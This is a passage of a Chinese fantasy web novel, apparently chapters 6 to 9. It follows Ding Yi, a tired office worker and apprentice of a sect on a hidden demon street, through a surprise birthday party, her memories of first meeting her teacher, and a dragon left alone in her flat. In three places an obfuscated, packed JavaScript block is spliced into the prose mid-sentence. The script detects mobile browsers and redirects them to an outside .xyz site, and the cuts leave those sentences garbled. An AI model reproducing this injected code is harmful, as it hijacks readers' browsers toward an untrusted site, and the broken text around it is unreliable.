旺旺看着面前的两杯咖啡,圆圆的眼睛滴溜溜地转——哇,拉花是小狗哎! 桃坞镇,一个位于城市边缘的水乡小镇。 自西向东流淌的镜花溪从镇中穿过,倒映着河道两侧的树影。一座老旧低矮的石桥横亘其上,刻在桥身上的字痕已被风化得模糊,仔细辨认才能看得出——是桥的名字,“忘川”。 镇上很冷清,年轻人大多都搬进城了,本地只留下一些老人。傍晚时分,偶尔会有一些风尘仆仆的徒步佬从镇上穿行而过,那就是刚从附近的钟罗山下来的,桃坞镇是下山的出口。一些老人会在沿途摆上小食铺子,卖给登山客蒸粽子或是茶叶蛋,赚一点养老的零花钱。 章家婆婆今天就支了这样一个小摊子,摆在了离忘川桥几步远的地方。一只中华田园犬安逸地睡在她脚边,岁月静好。 远远看到一个穿着鲜亮的身影走近,章婆婆先以为是安家那个在城里读书的外孙女,近了发现是另一个城里打扮的年轻女孩。 来者是客,章婆婆热情地向她兜售起来: “姑娘,这么早就从山上爬下来啦,粽子要吃伐?” 听到章婆婆打招呼,丁依对她挤出一个笑。 开完今天最后一个会,她就从公司直接赶了过来,因为缺乏睡眠和疲劳过度,现在满脸活人微死的疲惫感。再加上她身上这件在办公室里披着刚好的夹克,到了这开阔的郊外小镇实在难以御寒,更是让她冷得直哆嗦,一路过来都在搓着手臂取暖。 丁依不爱吃粽子,原本准备直接走人,但听章婆婆说“热粽子可以拿着捂手”,还是停下来买了一个。 她走后,章婆婆才后知后觉地心里犯起了嘀咕: 这姑娘怎么穿的不像是来爬山的,倒像是来上班的?而且这钟罗山一上一下至少要七小时,山上也没借宿的地方,怎么这个点,这姑娘就下山了?看着瘦条瘦条的,体能这么好? 这样想着,她忍不住往丁依离开的方向瞅了一眼。 咦?一睁眼的功夫,人影都没了。 丁依没走几步路,就来到了忘川桥脚边。 桃花树枝低垂,掩映着这座有年头了的石拱桥。 桥底,水面平静如镜,映着岸边的景色: 桥底墩子上坐着的石狮子,脖子上挂着一把金锁;一株岸边的桃树,冬日居然也冒了嫩绿的新芽;一滴从新芽上滑落的露珠,落入水中;桃树的另一支枝干上,不知被谁家小孩儿,高高挂上了一盏红灯笼,正随风晃动;一块大得有些突兀的石头压在树根处,表面长满了青苔。 细看这倒影,似乎违反了镜面反射原理,显出几分妖异来。 丁依却似乎不以为奇。她走近水边,轻声念道“五行相生,渡我归街”,然后毫不犹豫地一脚踏进了水中倒影之中。 在她踏入的瞬间,倒影幻变为了另一副景象,并且异常清晰,仿佛是高清4K的摄像头在现场直播:一条热闹的小街,鳞次栉比的商铺。街市中挂满了灯笼,甚至隐约传来欢声笑语和阵阵街边小吃的食物香气。 等到丁依整个人沉入水中,这倒影中的街市才消失,变回了原来的图景。 微风拂过,红灯笼簌簌作响。远处,阵阵狂躁的犬吠传来,隐隐听到章婆婆在责骂那条土狗:“哎哟,撞邪了你!” 镜花溪底。 被水裹住身体的瞬间,丁依闭上了眼睛。 很特别,没有浸水的潮湿,也没有溺水的窒息。就像踏入一层柔软的幕布,轻柔的包裹感瞬间将她缠绕。在一瞬间的失重后,她的脚踩上了实地。 丁依睁开眼。 在她脚下,是一片葱葱郁郁的草地,草地上的野草有她腰那么高,还长着巨大的盆状叶片,此刻,察觉到有人进来,它们嗖嗖地转来转去,发出叽叽喳喳的叫声,其中有几株已经认出了丁依,在和她打招呼——这是是一大片机灵聪慧的谛听草。 前方,一座青石牌坊矗立在她面前,透过其上的雕梁画栋,隐约可见后面那一条白墙黛瓦的江南小街。 牌坊顶部悬挂着匾额,上书三个大字: 「妖行街」。 妖行街是驭灵宗的总部所在,也是人妖共存的世外之地。 镜花溪外的凡人社会,每天都在发展迭代,让人永远追赶不上。而妖行街的这条青石板路,却似乎亘古不变。至少,从丁依初三那年被叶瑾瑜牵着手第一次踏上这里,它就没有变过。 但今天,好像略有不同。 平时街市喧闹、炊烟氤氲的妖行街,乍看还是一样热闹。 只不过,少了些丁依熟悉的面孔。 常年营业的“阴阳药庐”大门紧闭,上面挂着“盘账休业”的木牌。 小羊妖开的“忘忧奶茶”倒是开着门,但柜台上空无一人。 “五福狗咖”也冷清清地关着门。以往,只要有脚步声经过门前,不管是不是客,店长和店员就会一同冲出来汪汪叫着欢迎。 从街头走到街尾,丁依没能和一个熟妖打上照面。她心里有些惴惴不安,顾不上自己已经累得头晕眼花,捏了一个缩地诀加快赶路。 赶到妖妖灵小居,看到镇守大门的两只石狻猊,丁依才松了口气。 妖妖灵小居位于妖行街的尽头,东边毗邻妖事局的府衙,西边则是陶叔开的饕餮饭店。 丁依走上大门的台阶,识别到丁依的灵脉,石狻猊们“吱嘎”一声打开了门。 穿过郁郁葱葱的灵竹林,丁依走进了大堂。 大堂空荡无人,丁依喊了几声师父,不见回声。 她进门前放松下来,现在心中又敲起了警觉的小鼓。 昨天她就用手机给叶瑾瑜留了言。何况,外人进入妖行镇,谛听草会向叶瑾瑜汇报行踪。石狻猊开门,叶瑾瑜更是会收到提示。 或许有什么意外的急事耽搁了叶瑾瑜。但能有什么意外呢…… 想到这里,丁依突然莫名有点心悸,她摸向口袋里的手机,想给师兄梁凡打个电话问问情况…… “嘭!” 突然,一声巨响在她身后响起。 什么情况? 丁依手里捏着心如刀割诀,飞快地转身—— 漫天彩带下,一位披着克莱因蓝道袍、戴着贝雷帽、踩着雪地靴,头发花白的小老太太正笑盈盈地看着丁依。她手里拿着平平无奇的凡人商店的纸花礼炮,眼睛周围笑得都是褶子,透出明亮的狡黠。 丁依深深地呼出一口气,喊了声: “师父!” 她就知道。 不等丁依把“师父”两字念完,背后又是“嘭”“嘭”连着两声巨响,打断了她的话。 还来? 丁依转过身,看到师兄梁凡和师弟晦明一左一右,手里也拿着礼炮。 师兄梁凡看到丁依目光望过来,像收到信号,“唰”地一下齐齐拉开了一卷大红横幅,并大声喊出了横幅上写着的一行大字—— “热烈庆祝驭灵宗第一大美女丁依——生日快乐!!!!!!!” 师弟晦明一脸“好丢脸、好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502237|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无语”的表情,但仍然坚强地站在梁凡旁边,并用嘴型跟随梁凡表达了他的祝贺。 丁依此刻的心情复杂得就像陶叔烤糊的八珍糕,五味杂陈。 熙熙攘攘的笑声从四面八方响起。 小妖怪们不知从哪儿冒了出来。羊妖,小马,一块正在哐啷哐啷蹦跶的镜子,一株会走路的苹果树,一只有点像长鼻子猪的小精怪,一只足足有九个头的乌鸦,一只大贝壳,四五只毛茸茸的狗妖——它们是狗咖店长及店员们—— 羊妖的咩咩声、马妖的嘶鸣声、树枝的簌簌声、镜子撞到扇贝的哐当声,最响亮的还属狗妖们声如洪钟的werwer声……把还算宽敞的大堂挤得满满当当。 叶瑾瑜笑呵呵地看着吵闹的小妖怪们和她的三个弟子——就像以往每一次一样——然后她把手拢成喇叭,大喊:“集体注意!开始!” 丁依:? 下一秒,那只九头乌鸦飞到空中,九张鸟喙同时张开,马妖小马用蹄子踏出踢踢踏的节奏,羊妖脖颈的铜铃无风而动,小蚌精兴奋地疯狂开合。全体妖怪们加上叶瑾瑜和师兄梁凡都放声高唱了起来: 对所有的修行说拜拜~ 对无尽的美好说嗨嗨~ 亲爱的丁依生日快乐~ 每一天都精彩~ …… 这支荒腔走板的生日歌,如果去掉那些“咩咩”“werwer”和马的嘶鸣声,也许旋律还能更清楚点。 歌声结束的瞬间,小蚌精因为过于上头而爆炸般地喷洒漫天的珍珠,苹果树精也不甘示弱地猛摇树干狂甩苹果,圆圆的苹果和珍珠滚落满地,让正兴奋绕圈的几只狗妖摔了两跤。 丁依被挤得东倒西歪,唯一的好处是她在妖怪堆里终于不那么冷了。 她抱着双臂偷偷挤到狗妖和羊妖之间,蹭它们毛茸茸的皮毛取暖。突然,不知谁的手轻拍了下她的肩膀,一股暖意瞬间流淌她的全身。她转头想看是谁,却被一只兴奋的狗妖瞬间扑倒。 《群妖惊喜生日歌》的余韵还没消散,一个寸头络腮胡的彪形大汉闪现在妖群中,如果不是头上一双粗壮的长角,他的外貌几乎与凡人无异。 “嘿小东西,都让一让!让一让!”这个彪形大汉将小精怪们扫开,把大堂隔出一片空地。然后他一个响指,一张超超超超级巨大的圆桌嗖地降落在大堂中央。 梁凡在一旁插嘴:“陶叔,你的桌子是从巨人家里偷的吗?” 叶瑾瑜接话:“看起来像从晦明他爸家偷的。” 比巨大的桌子还显眼的,是桌子上巨大的白色动物雕塑——大到占满了这个巨人尺寸的圆桌,桌边的丁依抬头甚至望不到它的顶。 陶叔用饱含自我赞许的眼神欣赏了一会儿这个巨大白色动物雕塑,才开口催促寿星:“你赶紧吹蜡烛许愿。”丁依才意识到这个白色雕塑原来是一个生日蛋糕——覆盖其上的白色是厚厚一层的鲜奶油。 “蜡烛在哪儿?”丁依问。 “蛋糕顶上呢!”陶叔粗声粗气地回答。 这个蛋糕实在太大了,站在蛋糕脚下,丁依甚至看不到顶上的蜡烛。 她给自己施了一个悬浮咒,想要升到蛋糕上面。 因为疲劳,她的悬浮咒有点不稳,正当她摇摇晃晃的时候,一股力量托住了她。 到了空中,丁依终于看清这蛋糕的造型是什么动物——龙首、马身、麟足——是一只活灵活现的貔貅。貔貅头顶上,稳稳地顶着一根粗粗的红蜡烛。 蓝天,白云,红蜡烛,雪白的貔貅蛋糕,丁依掏出手机给蛋糕拍照。为了把下面的妖和人也拍进去,她特意又飘得更高了点。 看到她拿起手机拍照,大家纷纷摆起了姿势。陶叔得意洋洋地催促:“拍好了快许愿啊,这蛋糕我加了料的,巨灵。” 咔嚓。 在一圈大大小小高高矮矮眼睛的注视下,丁依飘到了蜡烛的旁边,她双手合十,闭上眼睛—— 「神啊,如果真的能灵验,我的愿望是……」 7. 第7章 许完愿,丁依睁开眼,刚想吹灭蜡烛,一阵微风拂过她的脸颊,像一双温柔的手帮她把蛋糕顶端的烛火扑灭。 “行了,小丁子你快下来。”把偷舔奶油的狗妖赶远,陶叔不知从哪里变出一把大铡刀,哗的一下把这头奶油貔貅一分为二。 貔貅肚子里哗啦啦撒出来一片红彤彤的东西——巨灵果,一种南方深山中才能偶得的仙果,传说由王母娘娘的蟠桃树种培育而成,有大补灵气的作用。 陶叔得意大笑:“貔貅那老东西向来只出不进,我这次把他做成蛋糕,让他大出血。” 一旁的丁依听到:“……” 蛋糕里塞了这么多巨灵果,难怪许愿“巨灵”。 丁依捡起一枚巨灵果吃了,味道和口感有些像莲雾,不同之处是吞咽下去后,不像凡人吃的水果进入胃里,而是化作灵气,散入四肢百骸。 几只狗妖从另一边跳进蛋糕里撒欢,丁依不动声色地切了一大块尚且完好无损的貔貅蛋糕,装进自袖里乾坤中。 看到她的小动作,陶叔热情地又切了一大块给她:“喜欢吃就多打包点回去,” 蛋糕被瓜分得只剩残骸,陶叔满意地一挥手——圆桌上出现了琳琅满目的美食,它们都是由灵气幻化而成,陶叔为每个妖和人都准备了适合的食物。丁依面前出现了一份蛋饺定食,师兄梁凡是汉堡套餐,师弟晦明是海鲜刺身拼盘,师父叶瑾瑜则拥有了珍珠奶茶加上裹酱炸鸡。 所有人和妖都落座,叶瑾瑜偷偷看了看丁依的脸色,坐在了她的身旁。 丁依咬下一口蛋饺,感觉温暖的肉汁流过食道落入胃里,连大脑的皮褶都舒服得被熨烫开来。 “还冷吗?”突然,她身旁的叶瑾瑜开口问道。 丁依并不意外叶瑾瑜发现自己冷。她答道:“不冷了,”低下头又咬了一口蛋饺,“吃了东西好多龙。” “发现被我骗来,是不是很生气?”叶瑾瑜又问。 丁依顿了一下,道:“没有。” “骗人,刚刚你转过身来的时候差点就发火了。” “真没有,”丁依笑了笑,“你是为了给我过生日嘛,我干嘛发火?就算我发火了,也不是生你的气。” 她把筷子伸到叶瑾瑜的盘子里,夹走了一块最大的炸鸡。 叶瑾瑜把炸鸡往丁依那边推了推:“其实我今天一看到你,就后悔把你骗来了。” “怎么,怕我发火吗?” “不是,是看到你的脸才知道,你是真的太累了。” 丁依摸了摸自己的脸:“我脸色这么差吗。” “是啊,你的脸色差得很。”叶瑾瑜叹了口气,“所以我才觉得很过意不去,原本是想给你个生日惊喜,但逼得你累成这样还要赶回来,好心办坏事,不是我的本意。”她转头看向丁依,道:“师父和你说声抱歉,是我不了解你们年轻人工作有多辛苦,想得不周到了。” “哪有帮人过生日的要给人道歉的。”丁依状似不经意地岔开话题,然后又夹走了一块叶瑾瑜的炸鸡。 “唉,为师对不住你,”叶瑾瑜伸手轻轻摸了摸徒弟的脸,“你说你脸色差也就算了,怎么还长那么多痘呢?” 丁依:……人身攻击开始得这么突然的吗? 其实丁依说谎了,她刚刚确实想发火,而且不止一次。 从前,在三个徒弟的小鸡崽时期,叶瑾瑜最爱玩这种“生日惊喜”的恶作剧。那时候,每年生日前后,他们三个就杯弓蛇影,看什么蛛丝马迹都怕是叶瑾瑜给的生日“惊喜”。 不过,随着梁凡和丁依毕业、工作、在城市里忙碌了起来,这种“生日惊喜”已经好几年没有过了。这次叶瑾瑜把丁依骗回来,用的理由是“有大事”、“一定要来”,丁依推脱了好几次。她之前实在太忙,后面又要出差,见叶瑾瑜实在坚持,才在今天抽空回来一趟。现在想起了,她的生日其实还有两天才到,也难怪她没有想到。 丁依不知道梁凡和晦明是怎么想的,但现在的她,别说“生日”,就连“生命”都已经被工作压榨得快没了。 刚刚自己又冷又累又担心,结果一回头看到叶瑾瑜拿着烟花站在那儿的时候,她确实很想生气大叫。但最后,她还是陪这个老小孩,还有这帮吵闹的妖怪,把这个她看不上的“生日惊喜游戏”玩到了最后。 为什么? 可能是因为,陶叔的蛋糕虽然太大,但确实也很好吃。 可能是因为,她刚刚搓着手臂听那个吵闹的生日歌时,不知道是谁给她身上贴了一个能让身体温暖的符纸。 可能是因为,当她摇摇晃晃地施着悬浮咒时,叶瑾瑜又偷偷托了她一把,就像小时候她刚学法术时那样。 可能是因为,她突然发现,叶瑾瑜蓝色贝雷帽下的头发,比十年前她终于松口答应自己时,要白了不少。 还有可能是因为,这些年,每当丁依三推四阻、还是又被叶瑾瑜骗来妖行街的时候,最后都会有同一种感觉—— 还好回来了。 餐桌另一边,妖怪们在叽叽喳喳地聊天。众妖中,一只小蚌精激动的声音尤其引人注目: “……在进入黄龙大人的宫殿之前,我从没见过那么金碧辉煌的建筑!” 听到这小蚌精的话,丁依的师弟晦明发出了“嗤”地一声。他的这声嘲笑,被淹没在了其它妖怪们艳羡地赞叹声里。 七八只精怪围在小蚌精的身边,你一言我一语: “天哪,你居然能进入黄龙大人的宫殿!” “我还从未瞻仰过龙神的尊荣呢!” “黄龙大人如此尊贵,也会见我们这种小妖怪?” 听到他们的话,小蚌精十分得意: “一开始我也十分惶恐,黄龙大人这样的真龙上神,又执掌中央戊己土,怎会让我这种水族小妖进殿?没料到,黄龙大人他不仅纡尊降贵召见了我,还封我掌管一方水域!” 小精怪们齐齐吸气。 羊妖弱弱地“咩”了一声,问道:“龙神大人他,封了你哪块水域?” 小蚌精道:“离镜花溪不远,以后等我治理好了,邀请大家一起到我治下赏玩。” 苹果树精也抖了抖树冠:“黄龙大人有说,他为何选中了你吗?” 小蚌精正色道:“想必是我与龙神同为水系的关系,想当年我爷爷也是天生地养、纵横一海的大水妖,我们这一脉的蚌精也自有一套控水的绝招。”说完,像是为了佐证自己的话,它抖了抖自己的蚌壳,不知从哪儿引来了一小股稀稀拉拉的水流。 见了这股水流,刚刚还围在蚌精旁边赞叹的众妖突然沉默了。 这时,突然不知哪个妖怪尖叫了一声:“看来以后不能叫你小蚌精,要叫你小蚌神了!” 小蚌精原本正因为沉默而无措,听到这声夸奖后又得意起来,两片蚌壳开开合合,发出有节奏的敲击声。 “这是河蚌成精?我还以为是快板成精了。”一旁,丁依的师兄梁凡围观了这场热闹。他感慨:“原来黄龙这么热心,连河蚌都管。要不让师妹把她那里养着的那条龙,也送去黄龙那里算了,半个月后我可真不见得能帮她养。” 晦明还没听说这个事:“丁依那里养了条龙?” “嗯,师父新捡到的。那条龙伤得特别重,师妹说送到她那里的时候,跟条菜市场的泥鳅精似的,浑身都是伤。”梁凡说道,手上想把汉堡掰开,结果挤了一手番茄酱。 晦明的鼻子哼了哼,不知道是在嫌弃梁凡手上的番茄酱还是别的什么。 梁凡看了他一眼:“师弟你感冒了吗?今天是有点冷,我看师妹也冻得够呛。” 晦明不耐烦道:“都说了多少遍了,我和你们这些凡人不一样,不会因为吹吹冷风就感冒生病。”他伸出一根手指,手指瞬间长出黑色的鳞片和尖利的指甲,轻轻松松帮梁凡切开了汉堡。 “哇,谢谢!”梁凡咬了一大口汉堡,嘴里塞得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶瑾瑜把这块炸鸡夹进丁依的盘子里,小声地问道:“真丢啦?你不是说那条龙的伤很重,还没开灵智,不会法术也不能化形,应该不能自己行动吗?” “那也没办法,上班太忙我也没时间。” “那你丢哪儿了?” “塞进马桶冲进下水道里了。” 叶瑾瑜舒了口气——看来没丢。 “下次再送妖怪过来,不要这么突然了,至少等我回了你信息再说,特别是像这几天,刚好和我工作撞上了,我忙得就跟石头往山下咕噜噜滚似地,真的照顾不过来。”丁依连珠炮似地抱怨。 叶瑾瑜连声表示“为师错了”,又问道:“那你什么时候把那条龙送回来?” “送回你这儿吗?我问了梁凡,他说过半个月后可以帮我养。” 叶瑾瑜立刻从善如流:“那你送他那儿吧。” 丁依想了想,改口道:“还是送回你这吧,等我这次出差回来就送。”她明天就要出差,今晚把那条龙送回来也有点匆忙。 她想起什么,又问叶瑾瑜:“我把那条龙送回来了,还算完成了一条KPI吗?”见叶瑾瑜故作难色,她拿筷子敲碗:“它那么重的伤,可是我救的,就算送回你这儿,我也照顾了它将近十天呢!” “算算算,算你的KPI!”叶瑾瑜道,她叹了口气,“下次不方便,直接跟我说吧,倒也不用你这么透支身体。” 丁依低下头:“一码归一码,工作虽然累,但欠了您的,我该还还是应该还。”她用筷子戳起一个蛋饺,“等我熬过这几个月工作最忙的时候,我和您说,您再把妖怪送来。” 叶瑾瑜没说什么,只是揉了揉丁依的后脑勺。 过了一会儿,她又问徒弟:“那你出差,那条龙就待在你家里?” 丁依这才想起:“其实我这次回来,也是想找您借点东西……” 8. 第8章 吃饱喝足后,小妖怪们陆续前来告别,并送上丁依的生日礼物——各种各样稀奇可爱的灵器。丁依足足收了一麻袋,她把它们全放进了袖里乾坤里。 客人都离开后,师徒三人帮陶叔一起善后。全部收拾好后,陶叔又让丁依打包了一大堆好吃的,才放她先行离开。 丁依离开妖行街时,天光已经有点昏暗。 她没有马上回城,而是掐了一个悬浮咒,沿着镜花溪,往钟罗山上飘去,目光专注地沿着溪水探看。 没过多久,她就察觉身后有人。 侧目扫了一眼,她开口问道:“你也出来了?刚刚怎么不一起走?” “临时想起来有点急事。”晦明慢吞吞地回答了她的问题,上前和丁依并行。 丁依的眼睛仍看着脚底下的溪水与山景。 “你今天吃东西的口味变了。”晦明突然开口。 “嗯?” “你以前可没那么喜欢鱼和海鲜。” “嗯。” 丁依今天确实蹭了陶叔的很多海鲜,还往袖里乾坤里打包了不少。 “而且你今天没怎么吃蛋糕。” “嗯。” 晦明对丁依心不在焉的态度有点不满,他提高了音量:“你听我说话了吗?你在想什么?” 丁依被吓了一跳,如梦初醒,转头问晦明:“龙一般吃什么?” “哈?”晦明似乎难以理解丁依的问题,“我想吃什么吃什么。认识我这么久了,你还不知道吗?” “那你饿了呢?会吃什么。” “我说了多少遍了,我和你们不一样,我不会饿。” 丁依又问:“所有的龙都不会饿吗?” “呵,”晦明反应过来,冷笑了一声,“原来你是为了那条泥鳅精。” 丁依停下,她看向晦明的脸,拿不准他是什么意思。 “你生气了?为什么。” “我没有生气。”晦明用一种僵硬的语气说,丁依怀疑他在故意模仿哪部老土电视剧里的台词。“你一定要我建议的话,我觉得给那条泥鳅精吃腐烂的泥土就够了。也许师父应该修改一下《百妖经疏注》,搞得好像随便哪个村井山溪底下钻出来的,都可以被你们叫作龙。” 丁依觉得晦明对那条龙的敌意有点匪夷所思,不过对他这种间歇性的阴阳怪气,丁依倒是已经很习惯了。 她点点头:“不好意思,都怪我们这些命如蝼蚁的凡人没见识,才把小溪里钻出的泥鳅精也当作龙。” 晦明紧紧地皱起了眉头:“我不是这个意思,你干嘛这样和我说话?” 究竟是谁先这样说话的?丁依觉得他简直是倒打一耙。 “好吧,不聊这个话题。”和从前一样,丁依决定先向他服软,“我来不及了,要先走,晚上还有点工作。” 听到她要先走,晦明刚松下来的眉头又皱了起来:“这么着急?真不知道你那个凡人的工作有什么好做的……” 没等晦明把话说完,丁依就如离弦的箭一般飞了出去。 “喂!”晦明叫了一声,丁依没有回头。 他烦躁地踢了一颗无辜的树冠:“切!” 寒风呼呼刮过脸颊,丁依的手里掐着悬浮咒,心情已经平静了下来。 第一眼看到那条满身泥巴的龙时,她自己也喊它泥鳅精,但听晦明这么叫,她心底又有点不舒服。自己确实不再像小时候,乐于和晦明玩“小朋友闹矛盾了又和好”的斗嘴游戏。 如果往前追忆,在潮湿的青春期,师兄妹三人中,相比活泼开朗到有点像个傻缺的大师兄梁凡,丁依和师弟晦明其实更亲近。 那时候,她是凡人暴发户家乖戾的长女,他则是龙神骄纵的独子,都因为“糟糕”的性格被父母放逐到这个世外之地。 丁依的妈妈至今不知道叶瑾瑜到底是做什么的,只知道叶瑾瑜是位“大师”。叶瑾瑜的这名号,得益于她热爱给有钱人们“露一手”。 丁依第一次被妈妈带着来见叶瑾瑜,是因为她妈妈听说这位“大师”能给小孩子驱邪,所以想把自己“中了邪”的女儿带过来给“大师”看看。 被说成“中了邪”,对十五岁的丁依简直是比死还难堪的羞辱。 那天,夏日炎炎,蝉鸣声声。丁依妈妈从城里开车到桃坞镇,一路上,丁依一眼都没有看她,全程用眼睛死死地瞪着窗外的青山绿水,坚信这辈子再也没什么好事能把自己从这种地狱般的痛苦泥沼中拯救出来。 在一座被桃坞镇本地人叫作“安家老宅”的江南古屋里,这对互相不看彼此的母女终于见到了“大师”的真身。披着克莱因蓝道袍、戴着同色系淡蓝色贝雷帽的叶瑾瑜,坐在丁母口中“一定值不少钱”的古朴大堂里,笑眯眯地接待了母女俩。 当丁依发现叶瑾瑜并不是自己想象中那种胡须花白、满口烟味、喜欢拿着一卷发黄旧书故弄玄虚的老骗子时,她并没有感觉好一点。 尤其在叶瑾瑜笑眯眯地点头回应妈妈对丁依的那些荒唐吐槽后,丁依甚至感到更加愤怒了。 她为自己看到叶瑾瑜第一眼时心底冒出的那点希望而感到可笑。 在丁依第三次因为故意弄出奇怪的声响而被她妈呵斥后,叶瑾瑜笑眯眯地叫来一个叫梁凡的同龄男孩,请他带丁依去吃点零食,再到后山去玩一玩。 梁凡那个时候就显示出了如今的社交天赋,他非常自来熟,和丁依说的第一句话是: “你就是那个‘中了邪’的妹妹吗?你好酷啊!” 丁依被梁凡带去厨房。梁凡从一个看起来像是会做人肉叉烧包、被他叫作陶叔的凶狠厨子那里,要到了三块巨大的草莓奶油蛋糕。 梁凡分给丁依一块,自己端着另外两块,和丁一一起往后山走去。 “后山”其实算是钟罗山的一个山脚。这是丁依加入驭灵宗后才知道的。 进了后山,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502239|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算出了安家老宅的庭院,除了树木山石外不见人影。梁凡让丁依在溪水旁等他一会儿,他要去找某个人。然后丁依就看着梁凡像个杂技演员似的托着两盘蛋糕走进了小树林里。 溪水潺潺流淌,微风吹拂着树木。丁依坐在溪边的青石上,感觉这山水好像也没有她过来的路上那么可恨,她的肚子突然咕咕咕叫了起来——她饿了。 拿起小叉子,她尝了一口草莓奶油蛋糕,心想这乡下厨子烤的蛋糕居然这么美味,而且非常丝滑、入口即化,丝滑到什么程度呢?吞进喉咙就像空气一样消散了! 蛋糕快吃完了,梁凡还没回来。突然,一阵窸窸窣窣的动静传来,丁依转头一看,一条暗红色的、超超超超级巨大的蟒蛇正从自己身旁的溪水中爬出来。 这条蟒蛇的头大概和丁依的身体一样高,丁依人生中第一次体会到,原来人恐惧到极致,身体真的不会动。 在和巨型蟒蛇赤红的双瞳相对的瞬间,丁依突然听到了一个男孩诧异的声音: “哈?这里怎么会有凡人?” 0.001秒后,丁依意识到了这个声音是从那条红色蟒蛇的嘴里发出来的。0.002秒后,她晕倒了。 晕倒的那个瞬间,丁依想明白了一件事——尽管她写了十页遗书放在妈妈房间的桌上,但她其实并不真的想死。 丁依第一次的昏迷体验,就像被鬼压床了一样——大脑很清醒,身体却像死了似的无法动弹。 她听到窸窸窣窣的声音接近自己,像什么东西在游走。然后,一双湿凉的手摸上了她的脸。 这双手先探了探她的鼻息,然后捏住了她的鼻子。在快要真的把丁依憋死的边缘,这手才终于松开。 下一秒,刺眼的光亮射入丁依的眼睛,她的眼皮被人扒开了—— 视线从模糊到清晰,一个黑发红眸、样貌清俊的男孩的脸,出现在了丁依的眼前。 他看起来也是初中生的年纪,看着丁依的眼睛里写满嫌弃。在观察了一番后,他嘟囔了一句:“怎么这样还不醒,”然后松开了丁依的眼皮。 丁依的世界重新归于黑暗。 她感觉自己被一双手抱起来,然后开始移动,伴随着移动的,是落叶被摩擦的窸窣声,石头被扫开的滚动声。在仿佛小船的波动起伏中,丁依的大脑终于和身体一样,慢慢沉没下去。 昏沉中,她好像听到了那个叫梁凡的男孩的声音: “她怎么了?!!没事吧?” “反正没死。” “师父不是告诉过你,不能在凡人的世界露出你的真身吗?” “不是真身啊,我特意化成蟒蛇的样子才出来的,你们凡人的世界不也有蟒蛇吗?谁知道她会吓晕啊!” “喔?这样啊!那是有点奇怪,看到普通的蟒蛇怎么会吓晕呢?” 十五岁正是容易不甘心的年纪,半梦半醒之中的丁依心想:我要和你们这些天赋怪拼了。 9. 第9章 光明公寓的出租屋里,龙的身子贴着落地窗,钢化玻璃倒映出它绵延的影子。 时间不知不觉过去,日影西斜。 龙在注视着窗外。 传说中,龙族的眼睛能够千里视物。 龙是不是真的能看到一千里外还有待考证,不过这条龙的视力确实很好,这让它蹲在窗边看了一天热闹都不觉得厌倦。刚开始,它还分不清玻璃内外的区别,拿爪子在玻璃上刨了半天,才发现自己并不能出去。 窗外恰好是一所小学,低矮的教学楼和操场,让丁依家的窗景拥有了高楼林立的开发区难得的视野。从五层楼的高度往下看,校门口的小马路上密密麻麻挤满了人头,都是来接孩子的家长。 光影不断变化,家长们等的时间不算短。 叮铃铃,下课的铃声响彻教学楼的上空,小人们鱼贯而出,被家长们领走。 小人堆里,有一个穿着红色外套的小男孩吸引了龙的注意。 被妈妈牵起手,这个小男孩叽叽喳喳地说着什么,边说边摸着自己的肚子 他妈妈是一位眉眼带笑的女士,看到儿子的动作,她问了他一句话。 龙眯起眼睛,他觉得她的口型很熟悉。 好像是,“饿—了—吗”。 小男孩回答了什么,那个妈妈便在路边买了一串糖葫芦塞进儿子手里。 龙观察着小男孩奋力咬下山楂的样子,想起了丁依递给自己虾时,口中说的“吃吧”。 这,也是“吃”? 那,什么是“饿?” 龙又想起丁依看着自己眼睛,问自己“你是饿了吗”的样子。 其实它并不懂“饿”的意思,但它知道,只要自己点点头,丁依就会摸一摸它,那种感觉和灵虾身上的海的咸味一样,让它觉得很好。 天空逐渐地黑了下来,校门口的人群早就散光了。 窗外小马路上依旧车来车往,它原本看了一整天都不嫌腻的马路,突然再看一眼都难以忍耐。房间里空无一人,四周死一般的安静。 这种安静龙原本极为熟悉,现在却又觉得陌生。 一种异样的空虚在它身体深处升起。 龙觉得,它好像“饿”了。 丁依回到光明公寓的时候,已经接近凌晨11点。 在公寓的大门口,她和一个垂头丧气的人擦肩而过,余光看去居然是公寓物业负责人。 她心里暗想:不知道哪户邻居家里又出了差错。 回到自家门口,她轻车熟路地按了指纹锁,听见咔嚓地轻响后,她按下门把手,突然觉得手感有点不对。 不是,等会! 她慌忙地想门关回去,可已经来不及了。 蹦跳的青色灵虾如山呼海啸般从门里倾泻出来,把她整个压倒,她裸露在外的皮肤甚至能感受到它们身上的倒刺划过。灵虾如海浪般涌过她的脸的瞬间,丁依心里拔凉,脑海中浮现了她看过的某部惊悚电影里大群甲虫爬过人体后只余枯骨的场景。 丁依闭上了眼睛。 